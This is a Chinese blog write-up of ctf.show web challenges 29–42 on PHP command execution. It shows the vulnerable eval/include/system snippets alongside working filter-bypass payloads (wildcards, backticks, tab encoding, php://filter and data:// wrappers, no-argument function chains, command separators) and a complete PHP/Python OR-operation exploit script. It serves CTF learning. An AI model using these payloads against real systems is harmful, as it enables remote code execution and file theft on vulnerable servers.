命令执行(1)

web29-web42

参考博客1
参考博客2

1、web29

题目:

error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

代码分析:

(1)通配符

Linux系统中的常用通配符:

  • *:代表任意字符0个或多个
  • ?:代表任意字符1个
  • [abcd]:匹配其中任意一个字符
  • [a-z]:匹配范围a-z

payload:
?c=system('cat f*');查看源码即可

(2)eval()函数

eval():需要被执行的字符串 代码不能包含打开/关闭PHP tags,但依旧可以用合适的PHP tags来离开重新进入PHP模式

查看文件:
?c=echo '';?><?php system('ls');
image.png
查看到有flag.php文件后,用include结合伪协议包含读取
伪协议php://filter

PHP中特有的协议流,数据流打开时的筛选过滤应用 resource=<要过滤的数据流> read=<读链的筛选列表> write=<写链的筛选列表> <;两个链的筛选列表>:没有readwrite做筛选器会视情况应用于读或写链
require():文件不存在时会提示错误并终止脚本 include():所包含文件不存在时,产生警告但脚本会继续运行 include_once() require_once():如果文件已经被包含过不会再包含 如果取得include里面的变量值,需要在include引用的文件里加上return

payload:

?c=echo "flag"?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php

2、web30

题目:

error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

这里过滤了flag、system、php

(1)反引号

命令执行函数

system() :执行并回显 passthru() :执行并回显 shell_exec() :执行 exec() :执行,以数组的形式保存结果 popen() :打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生 proc_open() :执行,打开用于输入/输出的文件指针 shell_exec() :执行,相当于反撇号 ob_start() :打开缓冲区,需要system函数开启

payload:

?c=echo `cat f*`;

(2)include+伪协议

payload:

?c=echo "result:";include($_GET['url'])?>&url=php://filter/read=convert.base64-encode/resource=flag.php

3、web31

题目:

error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

(1)绕过

  • 空格过滤
%09 //需要php环境 {cat,flag.txt} //用逗号实现了空格 ${IFS} //cat${IFS}1.txt $IFS$9 //cat$IPS91.txt < <>重定向符 //cat<flag.txt //cat<>flag.txt \x20 %20 //空格
  • cat过滤
more:一页一页的显示档案内容 less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。 head:查看头几行 tac:从最后一行开始显示,可以看出 taccat 的反向显示 tail:查看尾几行 nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)

payload:

?c=echo(`tac\x20f*`); ?c=echo(`tac%09f*`); ?c=echo(`more%09f*`); ?c=echo(`tail%09f*`); ?c=echo(`less%09f*`);

(2)include+伪协议:

payload:

?c=echo%09"result:";include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

4、web32

题目:

error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

此处过滤了分号,括号等

  • 无需括号函数
echo 123; print 123; die; //输出一条消息并退出当前脚本 include "/etc/passwd"; require "/etc/passwd"; include_once "/etc/passwd"; require_once "etc/passwd";

include+伪协议:

payload:

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

5、web33

题目:

error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

过滤了引号,用数组作为参数绕过

include+伪协议:

payload:

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_POST[url]?> url=php://filter/read=convert.base64-encode/resource=flag.php

6、web34

题目:

<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

题目过滤了flag system php cat sort shell 点 引号 反引号 echo 分号 括号 冒号

include+伪协议:

payload:

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

7、web35

题目:

error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

比上题多过滤了<

include+伪协议:

payload:

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

8、web36

题目:

error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

多过滤了数字

include+伪协议:

payload:

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

9、web37

题目:

//flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }

过滤了flag并且使用了include文件包含,也就是说在输入参数c的时候如果我们输入了flag.php则包含后我们就可以echo flag

data+伪协议:

data:// 可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行 data://text/plain;base64,xxxx data://text/plain,指令
(1)通配符绕过

payload:

?c=data://text/plain,<?php echo system('cat fl\*');?>

(2)base64绕过

payload:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

base64加密的是:

<?php system('cat flag.php');?>

10、web38

题目:

//flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }

过滤了flag、PHP、file,原理同上

data+伪协议:

payload:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

11、web39

题目:

//flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }

过滤了flag并且在文件包含C时限制了PHP后缀

(1)php://input:

php://input:可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分 使用环境:请求方式:POST;enctype不为"multipart/form-data"

这里为GET请求所以无法使用此伪协议
image.png

(2)data://text/plain:

payload:

?c=data://text/plain,<?php echo system('cat fl*');?>

12、web40

题目:

if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

过滤了数字,引号,冒号,美元符号等,考虑构造无参数函数进行文件读取,正则过滤的括号是中文的括号

无参数函数:

无参数文件读取

print_r(scandir('.')) :查看当前目录所有文件名 因为要构造无参数函数所以要去掉这个点 localeconv() 函数返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) current() 函数返回数组中的当前元素(单元),默认取第一个值, pos() 同 current() ,是current()的别名 reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE array_reverse():数组逆序 scandir():获取目录下的文件 next():函数将内部指针指向数组中的下一个元素,并输出。 最终可构造: print_r(scandir(current(localeconv()))); print_r(scandir(pos(localeconv()))); print_r(scandir(reset(localeconv())));

首先查看当前目录下的所有文件名

?c=print_r(scandir(current(localeconv())));
image.png

发现flag.php在倒数第二个数组,我们可以将数组逆序再将指针调整到下一个即可

?c=print_r(next(array_reverse(scandir(current(localeconv())))));
image.png
此时再读取flag.php即可

highlight_file(filename,true) :对文件进行语法高亮显示,若设置true则不会输出代码 show_source() :highlight_file()的别名

payload:

?c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); ?c=show_source(next(array_reverse(scandir(current(localeconv())))));

13、web41(不明白)

大佬博客
题目:

if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); }

POST传入的参数先过滤再通过echo输出,再用eval执行
此题的过滤使得我们无法使用异或自增和取反构造字符,但是或运算符|未过滤
可以尝试从ASCII为0-255的字符中,找到或运算能得到可用字符的字符

或运算绕过:

生成可用字符的集合:
从进行异或的字符中排除被过滤的,再判断异或得到的字符是否为可见字符

<?php $myfile = fopen("rce_or.txt", "w"); $contents="http://679ebc80-27fd-4a0d-99e6-54bca8c10b7e.challenge.ctf.show/"; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); ?>

生成的rce_or.txt文件即为
image.png
传递参数
python exp.py <url>

# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)

python模块安装

C:\Python\Python37\Scripts λ pip install requests

14、web42

题目:

if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }

shell脚本
>/dev/null 2>&1大致意思为不进行回显

> :代表重定向到哪里 echo"123">/home/123.txt 1 : stdout标准输出,系统默认值为1,即>/dev/null==1>/dev/null 2 : stderr标准错误 & : 等同于的意思,2>&12的输出重定向等同于1 1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。 2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

让命令回显,进行命令分隔即可:

; :分号 | :只执行后面那条命令 || :只执行前面那条命令 & :两条命令都会执行 && :两条命令都会执行

payload:
**?c=cat flag.php;**
**?c=cat flag.php||**


__EOF__

本文作者E=MC^2
本文链接https://www.cnblogs.com/zeroEMC/p/16832824.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   EMCzero  阅读(62)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· PowerShell开发游戏 · 打蜜蜂
· 在鹅厂做java开发是什么体验
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
点击右上角即可分享
微信分享提示